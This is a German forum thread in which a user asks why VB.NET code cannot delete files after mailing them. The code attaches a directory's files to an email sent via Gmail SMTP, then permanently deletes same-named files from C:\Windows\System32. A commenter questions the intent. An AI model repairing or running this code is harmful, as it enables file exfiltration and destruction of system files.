Nach send(mail) sind die gesendeten Daten nicht mehr schreibbar oder löschbar
Hallo
also ich habe hier einen Script
<code vb>Dim email As New MailMessage
email = New MailMessage
email.From = New MailAddress("*")
email.To.Add("*")
email.Subject = My.Computer.Clock.ToString
email.Body = ""
Dim di As New DirectoryInfo("*)
Dim files As FileInfo() = di.GetFiles("*", SearchOption.TopDirectoryOnly)
Dim oFile As System.IO.FileInfo
For Each oFile In files
My.Computer.FileSystem.WriteAllText("*, "*" & oFile.Name & vbCrLf, True)
email.Attachments.Add(New Attachment("*" & oFile.Name))
Next
Dim smtpSenden As New SmtpClient("Smtp.gmail.com")
smtpSenden.Port = 587
smtpSenden.EnableSsl = True
smtpSenden.Credentials = New System.Net.NetworkCredential("*", "*)
smtpSenden.Send(email)
Warum kann ich jetzt nach diesem Script den folgenden Script nicht mehr ausführen?:
<code vb>For Each oFile In files
My.Computer.FileSystem.DeleteFile("C:\Windows\System32\" & oFile.Name, FileIO.UIOption.OnlyErrorDialogs, FileIO.RecycleOption.DeletePermanently, FileIO.UICancelOption.DoNothing)
Next
Es heißt immer, der Prozess könnte nicht auf die Dateien, die gerade per Mail versendet wurden, zugreifen, da sie von einem anderen Prozess verwendet werden.
VolumenSchattenKopie vielleicht?
mfg Chris
also ich habe hier einen Script
<code vb>Dim email As New MailMessage
email = New MailMessage
email.From = New MailAddress("*")
email.To.Add("*")
email.Subject = My.Computer.Clock.ToString
email.Body = ""
Dim di As New DirectoryInfo("*)
Dim files As FileInfo() = di.GetFiles("*", SearchOption.TopDirectoryOnly)
Dim oFile As System.IO.FileInfo
For Each oFile In files
My.Computer.FileSystem.WriteAllText("*, "*" & oFile.Name & vbCrLf, True)
email.Attachments.Add(New Attachment("*" & oFile.Name))
Next
Dim smtpSenden As New SmtpClient("Smtp.gmail.com")
smtpSenden.Port = 587
smtpSenden.EnableSsl = True
smtpSenden.Credentials = New System.Net.NetworkCredential("*", "*)
smtpSenden.Send(email)
Warum kann ich jetzt nach diesem Script den folgenden Script nicht mehr ausführen?:
<code vb>For Each oFile In files
My.Computer.FileSystem.DeleteFile("C:\Windows\System32\" & oFile.Name, FileIO.UIOption.OnlyErrorDialogs, FileIO.RecycleOption.DeletePermanently, FileIO.UICancelOption.DoNothing)
Next
Es heißt immer, der Prozess könnte nicht auf die Dateien, die gerade per Mail versendet wurden, zugreifen, da sie von einem anderen Prozess verwendet werden.
VolumenSchattenKopie vielleicht?
mfg Chris
Bitte markiere auch die Kommentare, die zur Lösung des Beitrags beigetragen haben
Content-ID: 190200
Url: https://administrator.de/contentid/190200
Ausgedruckt am: 16.11.2024 um 01:11 Uhr
5 Kommentare
Neuester Kommentar
moinsen,
[OT]
ich hab ja keinen Schimmer von der Materie, aber...
Merkst du was?
Wie oben angedeutet, ich hab keinen blasen Dunst von dem, was ich da geschrieben habe.
[/OT]
Überleg dir mal einen anderen Weg, der Holzweg ist an ein paar Stellen Morsch.
Gruß
[OT]
ich hab ja keinen Schimmer von der Materie, aber...
- die beiden Posts sind doch ein und derselbe grmblfx?
- du bist dir sciher, was du da machst?
- Und das der wirklich der geeignete Weg ist?
- dlls als anhänge per mail verschicken und die dlls danach löschen?
- und das per vbx?
- Du nimmst an, dass die Mails verschickt wurden, tatsächlich sind die es zu dem Zeitpunkt nicht, die sind nur auf Weg.
- Und ohne überprüfung, ob der Empfänger, Absender und der Weg zu diesem stimmt, willst du die dlls in die Tonne treten?
- mit nem selbstzusammengegoogelten Schnippsel?
Merkst du was?
- ich kenne x cmdlinemailer von denen es ein paar Zeilen in die Blacklist der div. Av Lösungen geschafft haben und die daher hin und wieder mal als falsepositive gemeldet werden.
Wie oben angedeutet, ich hab keinen blasen Dunst von dem, was ich da geschrieben habe.
[/OT]
Überleg dir mal einen anderen Weg, der Holzweg ist an ein paar Stellen Morsch.
Gruß